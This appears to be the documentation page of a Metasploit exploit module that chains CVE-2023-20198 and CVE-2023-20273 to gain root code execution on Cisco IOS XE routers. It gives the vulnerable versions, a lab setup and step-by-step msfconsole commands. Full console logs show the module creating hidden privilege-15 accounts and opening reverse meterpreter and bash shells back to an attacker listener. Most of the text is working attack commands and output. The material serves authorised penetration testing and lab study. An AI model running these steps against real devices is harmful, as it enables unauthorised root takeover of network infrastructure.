## Vulnerable Application
This module leverages both CVE-2023-20198 and CVE-2023-20273 against vulnerable instances of Cisco IOS XE
devices which have the Web UI exposed. An attacker can execute a payload with root privileges.

The vulnerable IOS XE versions are:
16.1.1, 16.1.2, 16.1.3, 16.2.1, 16.2.2, 16.3.1, 16.3.2, 16.3.3, 16.3.1a, 16.3.4,
16.3.5, 16.3.5b, 16.3.6, 16.3.7, 16.3.8, 16.3.9, 16.3.10, 16.3.11, 16.4.1, 16.4.2,
16.4.3, 16.5.1, 16.5.1a, 16.5.1b, 16.5.2, 16.5.3, 16.6.1, 16.6.2, 16.6.3, 16.6.4,
16.6.5, 16.6.4s, 16.6.4a, 16.6.5a, 16.6.6, 16.6.5b, 16.6.7, 16.6.7a, 16.6.8, 16.6.9,
16.6.10, 16.7.1, 16.7.1a, 16.7.1b, 16.7.2, 16.7.3, 16.7.4, 16.8.1, 16.8.1a, 16.8.1b,
16.8.1s, 16.8.1c, 16.8.1d, 16.8.2, 16.8.1e, 16.8.3, 16.9.1, 16.9.2, 16.9.1a, 16.9.1b,
16.9.1s, 16.9.1c, 16.9.1d, 16.9.3, 16.9.2a, 16.9.2s, 16.9.3h, 16.9.4, 16.9.3s, 16.9.3a,
16.9.4c, 16.9.5, 16.9.5f, 16.9.6, 16.9.7, 16.9.8, 16.9.8a, 16.9.8b, 16.9.8c, 16.10.1,
16.10.1a, 16.10.1b, 16.10.1s, 16.10.1c, 16.10.1e, 16.10.1d, 16.10.2, 16.10.1f, 16.10.1g,
16.10.3, 16.11.1, 16.11.1a, 16.11.1b, 16.11.2, 16.11.1s, 16.11.1c, 16.12.1, 16.12.1s,
16.12.1a, 16.12.1c, 16.12.1w, 16.12.2, 16.12.1y, 16.12.2a, 16.12.3, 16.12.8, 16.12.2s,
16.12.1x, 16.12.1t, 16.12.2t, 16.12.4, 16.12.3s, 16.12.1z, 16.12.3a, 16.12.4a, 16.12.5,
16.12.6, 16.12.1z1, 16.12.5a, 16.12.5b, 16.12.1z2, 16.12.6a, 16.12.7, 16.12.9, 16.12.10,
17.1.1, 17.1.1a, 17.1.1s, 17.1.2, 17.1.1t, 17.1.3, 17.2.1, 17.2.1r, 17.2.1a, 17.2.1v,
17.2.2, 17.2.3, 17.3.1, 17.3.2, 17.3.3, 17.3.1a, 17.3.1w, 17.3.2a, 17.3.1x, 17.3.1z,
17.3.3a, 17.3.4, 17.3.5, 17.3.4a, 17.3.6, 17.3.4b, 17.3.4c, 17.3.5a, 17.3.5b, 17.3.7,
17.3.8, 17.4.1, 17.4.2, 17.4.1a, 17.4.1b, 17.4.1c, 17.4.2a, 17.5.1, 17.5.1a, 17.5.1b,
17.5.1c, 17.6.1, 17.6.2, 17.6.1w, 17.6.1a, 17.6.1x, 17.6.3, 17.6.1y, 17.6.1z, 17.6.3a,
17.6.4, 17.6.1z1, 17.6.5, 17.6.6, 17.7.1, 17.7.1a, 17.7.1b, 17.7.2, 17.10.1, 17.10.1a,
17.10.1b, 17.8.1, 17.8.1a, 17.9.1, 17.9.1w, 17.9.2, 17.9.1a, 17.9.1x, 17.9.1y, 17.9.3,
17.9.2a, 17.9.1x1, 17.9.3a, 17.9.4, 17.9.1y1, 17.11.1, 17.11.1a, 17.12.1, 17.12.1a,
17.11.99SW

## Testing
This module was tested against IOS XE version 16.12.3 and version 17.3.2. To test this module you will need to either:

* Acquire a hardware device running one of the vulnerable firmware versions listed above.

Or

* Setup a virtualized environment.
  * A [CSR1000V](https://www.cisco.com/c/en/us/products/routers/cloud-services-router-1000v-series/index.html) device
    can be virtualized using [GNS3](https://www.gns3.com/) and VMWare Workstation/Player. Follow the 
    [Windows setup guide](https://docs.gns3.com/docs/getting-started/installation/windows) to install GNS3 and the
    [topology guide](https://docs.gns3.com/docs/getting-started/your-first-gns3-topology) to learn how GNS3 can be used.
  * A suitable firmware image for testing would be `csr1000v-universalk9.16.12.03-serial.qcow2`.
  * When setting up GNS3, run the `GNS3 2.2.43` Virtual Machine for deploying QEMU based devices.
  * Create a new CSR1000v instance as a QEMU device.
  * The CSR1000v device's first ethernet adapter `Gi1` should be connected to a Cloud device, whose adapter was bridged
    to the physical adapter on the host machine, allowing an IP address to be assigned via DHCP, and allowing the Web UI to
    be accessible to a remote attacker.
  * When the virtual router has booted up, you must enable the vulnerable WebUI component. From a serial console on
    the device:
    ```
    Router>enable
    Router#config
    Router(config)#ip http server
    router(config)#ip http secure-server
    router(config)#ip http authentication local
    router(config)#username admin privilege 15 secret qwerty
    router(config)#exit
    Router#copy running-config startup-config
    ```
  * You should now be able to access the WebUI via https://TARGET_IP_ADDRESS/webui and login with admin:qwerty

## Verification Steps
1. Start msfconsole
2. `use exploit/linux/misc/cisco_ios_xe_rce`
3. `set RHOST <TARGET_IP_ADDRESS>`
4. `set target 0`
5. `set PAYLOAD cmd/linux/http/x64/meterpreter/reverse_tcp`
6. `check`
7. `exploit`

## Options

### CISCO_VRF_NAME
We allow a user to specify the VRF name to route traffic for the payloads network transport. The default of
'global' should work, but exposing this as an option will allow for usage in more complex network setups.
A user could leverage the auxiliary module auxiliary/admin/http/cisco_ios_xe_cli_exec_cve_2023_20198 to
inspect a devices configuration to see an appropriate VRF to use.

### CISCO_CMD_TIMEOUT
We may need to try and execute a command a second time if it fails the first time. This option is the maximum
number of seconds to keep trying.

## Scenarios
To support a broad set of available payloads, we support both a Linux target and a Unix Target (IOS XE is Linux based).
This allows for native Linux payloads to be used, but also payloads like Python meterpreter or a Bash shell.

### Linux Command (IOS XE 17.3.2)

```
msf6 exploit(linux/misc/cisco_ios_xe_rce) > set RHOST 192.168.86.58
RHOST => 192.168.86.58
msf6 exploit(linux/misc/cisco_ios_xe_rce) > set target 0
target => 0
msf6 exploit(linux/misc/cisco_ios_xe_rce) > set payload cmd/linux/http/x64/meterpreter/reverse_tcp
payload => cmd/linux/http/x64/meterpreter/reverse_tcp
[+] 192.168.86.58:443 - The target is vulnerable. Cisco IOS XE Software, Version 17.03.02
msf6 exploit(linux/misc/cisco_ios_xe_rce) > show options

Module options (exploit/linux/misc/cisco_ios_xe_rce):

   Name               Current Setting  Required  Description
   ----               ---------------  --------  -----------
   CISCO_CMD_TIMEOUT  30               yes       The maximum timeout (in seconds) to wait when trying to execute a command.
   CISCO_VRF_NAME     global           yes       The virtual routing and forwarding (vrf) name to use. Both 'fwd' or 'global' have been tested to work.
   Proxies                             no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS             192.168.86.58    yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT              443              yes       The target port (TCP)
   SSL                true             no        Negotiate SSL/TLS for outgoing connections
   VHOST                               no        HTTP server virtual host


Payload options (cmd/linux/http/x64/meterpreter/reverse_tcp):

   Name                Current Setting  Required  Description
   ----                ---------------  --------  -----------
   FETCH_COMMAND       CURL             yes       Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET)
   FETCH_DELETE        false            yes       Attempt to delete the binary after execution
   FETCH_FILENAME      dDrTvTlqxwoK     no        Name to use on remote system when storing payload; cannot contain spaces.
   FETCH_SRVHOST                        no        Local IP to use for serving payload
   FETCH_SRVPORT       8080             yes       Local port to use for serving payload
   FETCH_URIPATH                        no        Local URI to use for serving payload
   FETCH_WRITABLE_DIR                   yes       Remote writable dir to store payload; cannot contain spaces.
   LHOST               192.168.86.42    yes       The listen address (an interface may be specified)
   LPORT               4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Linux Command



View the full module info with the info, or info -d command.

msf6 exploit(linux/misc/cisco_ios_xe_rce) > exploit

[*] Started reverse TCP handler on 192.168.86.42:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable. Cisco IOS XE Software, Version 17.03.02
[*] Created privilege 15 user 'sqVXixoV' with password 'ZiPbsXBu'
[*] Removing user 'sqVXixoV'
[*] Sending stage (3045380 bytes) to 192.168.86.58
[*] Meterpreter session 6 opened (192.168.86.42:4444 -> 192.168.86.58:64970) at 2023-11-06 17:01:06 +0000

meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer     : router
OS           :  (Linux 4.19.106)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter >
```

```
msf6 exploit(linux/misc/cisco_ios_xe_rce) > set payload cmd/linux/http/x64/shell/reverse_tcp
payload => cmd/linux/http/x64/shell/reverse_tcp
msf6 exploit(linux/misc/cisco_ios_xe_rce) > exploit

[*] Started reverse TCP handler on 192.168.86.42:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable. Cisco IOS XE Software, Version 17.03.02
[*] Created privilege 15 user 'pfGnCwkI' with password 'YhTwxBLK'
[*] Removing user 'pfGnCwkI'
[*] Sending stage (38 bytes) to 192.168.86.58
[*] Command shell session 7 opened (192.168.86.42:4444 -> 192.168.86.58:64994) at 2023-11-06 17:01:44 +0000

id
uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:polaris_nginx_t:s0
uname -a
Linux router 4.19.106 #1 SMP Fri Oct 2 17:55:01 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
exit
[*] 192.168.86.58 - Command shell session 7 closed.
msf6 exploit(linux/misc/cisco_ios_xe_rce) > 
```

### Linux Command (IOS XE 16.12.3)

```
msf6 exploit(linux/misc/cisco_ios_xe_rce) > show options

Module options (exploit/linux/misc/cisco_ios_xe_rce):

   Name               Current Setting  Required  Description
   ----               ---------------  --------  -----------
   CISCO_CMD_TIMEOUT  30               yes       The maximum timeout (in seconds) to wait when trying to execute a command.
   CISCO_VRF_NAME     global           yes       The virtual routing and forwarding (vrf) name to use. Both 'fwd' or 'global' have been tested to work.
   Proxies                             no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS             192.168.86.59    yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT              443              yes       The target port (TCP)
   SSL                true             no        Negotiate SSL/TLS for outgoing connections
   VHOST                               no        HTTP server virtual host


Payload options (cmd/linux/http/x64/meterpreter/reverse_tcp):

   Name                Current Setting  Required  Description
   ----                ---------------  --------  -----------
   FETCH_COMMAND       CURL             yes       Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET)
   FETCH_DELETE        false            yes       Attempt to delete the binary after execution
   FETCH_FILENAME      ytfnShmfT        no        Name to use on remote system when storing payload; cannot contain spaces.
   FETCH_SRVHOST                        no        Local IP to use for serving payload
   FETCH_SRVPORT       8080             yes       Local port to use for serving payload
   FETCH_URIPATH                        no        Local URI to use for serving payload
   FETCH_WRITABLE_DIR                   yes       Remote writable dir to store payload; cannot contain spaces.
   LHOST               192.168.86.42    yes       The listen address (an interface may be specified)
   LPORT               4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Linux Command



View the full module info with the info, or info -d command.

msf6 exploit(linux/misc/cisco_ios_xe_rce) > check
[+] 192.168.86.59:443 - The target is vulnerable. Cisco IOS XE Software, Version 16.12.03
msf6 exploit(linux/misc/cisco_ios_xe_rce) > exploit

[*] Started reverse TCP handler on 192.168.86.42:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable. Cisco IOS XE Software, Version 16.12.03
[*] Created privilege 15 user 'lwWQIDaS' with password 'dADCGJpS'
[*] Removing user 'lwWQIDaS'
[*] Sending stage (3045380 bytes) to 192.168.86.59
[*] Meterpreter session 2 opened (192.168.86.42:4444 -> 192.168.86.59:56554) at 2023-11-06 16:41:06 +0000

meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer     : router
OS           :  (Linux 4.19.64)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter > 
```

```
msf6 exploit(linux/misc/cisco_ios_xe_rce) > set target 0
target => 0
msf6 exploit(linux/misc/cisco_ios_xe_rce) > set payload cmd/linux/http/x64/shell/reverse_tcp
payload => cmd/linux/http/x64/shell/reverse_tcp
msf6 exploit(linux/misc/cisco_ios_xe_rce) > exploit

[*] Started reverse TCP handler on 192.168.86.42:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable. Cisco IOS XE Software, Version 16.12.03
[*] Created privilege 15 user 'NjAmOioM' with password 'tOHjWGyw'
[*] Removing user 'NjAmOioM'
[*] Sending stage (38 bytes) to 192.168.86.59
[*] Command shell session 5 opened (192.168.86.42:4444 -> 192.168.86.59:56598) at 2023-11-06 16:44:48 +0000

id
uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:polaris_nginx_t:s0
uname -a
Linux router 4.19.64 #1 SMP Wed Dec 11 10:30:30 PST 2019 x86_64 x86_64 x86_64 GNU/Linux
exit
[*] 192.168.86.59 - Command shell session 5 closed.
msf6 exploit(linux/misc/cisco_ios_xe_rce) > 
```

### Unix Target (IOS XE 17.3.2)

```
msf6 exploit(linux/misc/cisco_ios_xe_rce) > set target 1
target => 1
msf6 exploit(linux/misc/cisco_ios_xe_rce) > set payload cmd/unix/python/meterpreter/reverse_tcp
payload => cmd/unix/python/meterpreter/reverse_tcp
msf6 exploit(linux/misc/cisco_ios_xe_rce) > exploit

[*] Started reverse TCP handler on 192.168.86.42:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable. Cisco IOS XE Software, Version 17.03.02
[*] Created privilege 15 user 'JAonVuJS' with password 'vYecWhWk'
[*] Removing user 'JAonVuJS'
[*] Sending stage (24772 bytes) to 192.168.86.58
[*] Meterpreter session 8 opened (192.168.86.42:4444 -> 192.168.86.58:65016) at 2023-11-06 17:03:34 +0000

meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer     : router
OS           : Linux 4.19.106 #1 SMP Fri Oct 2 17:55:01 UTC 2020
Architecture : x64
Meterpreter  : python/linux
meterpreter >
```

```
msf6 exploit(linux/misc/cisco_ios_xe_rce) > set payload cmd/unix/reverse_bash
payload => cmd/unix/reverse_bash
msf6 exploit(linux/misc/cisco_ios_xe_rce) > exploit

[*] Started reverse TCP handler on 192.168.86.42:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable. Cisco IOS XE Software, Version 17.03.02
[*] Created privilege 15 user 'TVtEhbdd' with password 'NtRvujcZ'
[*] Removing user 'TVtEhbdd'
[*] Command shell session 9 opened (192.168.86.42:4444 -> 192.168.86.58:65036) at 2023-11-06 17:04:28 +0000

id
uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:polaris_nginx_t:s0
uname -a
Linux router 4.19.106 #1 SMP Fri Oct 2 17:55:01 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
exit
[*] 192.168.86.58 - Command shell session 9 closed.
msf6 exploit(linux/misc/cisco_ios_xe_rce) > 
```

### Unix Target (IOS XE 16.12.3)

```
msf6 exploit(linux/misc/cisco_ios_xe_rce) > set target 1
target => 1
msf6 exploit(linux/misc/cisco_ios_xe_rce) > set payload cmd/unix/python/meterpreter/reverse_tcp
payload => cmd/unix/python/meterpreter/reverse_tcp
msf6 exploit(linux/misc/cisco_ios_xe_rce) > show options

Module options (exploit/linux/misc/cisco_ios_xe_rce):

   Name               Current Setting  Required  Description
   ----               ---------------  --------  -----------
   CISCO_CMD_TIMEOUT  30               yes       The maximum timeout (in seconds) to wait when trying to execute a command.
   CISCO_VRF_NAME     global           yes       The virtual routing and forwarding (vrf) name to use. Both 'fwd' or 'global' have been tested to work.
   Proxies                             no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS             192.168.86.59    yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT              443              yes       The target port (TCP)
   SSL                true             no        Negotiate SSL/TLS for outgoing connections
   VHOST                               no        HTTP server virtual host


Payload options (cmd/unix/python/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.86.42    yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   1   Unix Command



View the full module info with the info, or info -d command.

msf6 exploit(linux/misc/cisco_ios_xe_rce) > check
[+] 192.168.86.59:443 - The target is vulnerable. Cisco IOS XE Software, Version 16.12.03
msf6 exploit(linux/misc/cisco_ios_xe_rce) > exploit

[*] Started reverse TCP handler on 192.168.86.42:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable. Cisco IOS XE Software, Version 16.12.03
[*] Created privilege 15 user 'pJaWZBTl' with password 'KlcuLPaJ'
[*] Removing user 'pJaWZBTl'
[*] Sending stage (24772 bytes) to 192.168.86.59
[*] Meterpreter session 3 opened (192.168.86.42:4444 -> 192.168.86.59:56572) at 2023-11-06 16:42:36 +0000

meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer     : router
OS           : Linux 4.19.64 #1 SMP Wed Dec 11 10:30:30 PST 2019
Architecture : x64
Meterpreter  : python/linux
meterpreter > 
```

```
msf6 exploit(linux/misc/cisco_ios_xe_rce) > set payload cmd/unix/reverse_bash
payload => cmd/unix/reverse_bash
msf6 exploit(linux/misc/cisco_ios_xe_rce) > exploit

[*] Started reverse TCP handler on 192.168.86.42:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable. Cisco IOS XE Software, Version 16.12.03
[*] Created privilege 15 user 'aZIYJugi' with password 'RziZqysr'
[*] Removing user 'aZIYJugi'
[*] Command shell session 4 opened (192.168.86.42:4444 -> 192.168.86.59:56584) at 2023-11-06 16:43:30 +0000

id
uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:polaris_nginx_t:s0
uname -a
Linux router 4.19.64 #1 SMP Wed Dec 11 10:30:30 PST 2019 x86_64 x86_64 x86_64 GNU/Linux
exit
[*] 192.168.86.59 - Command shell session 4 closed.
msf6 exploit(linux/misc/cisco_ios_xe_rce) > 
```
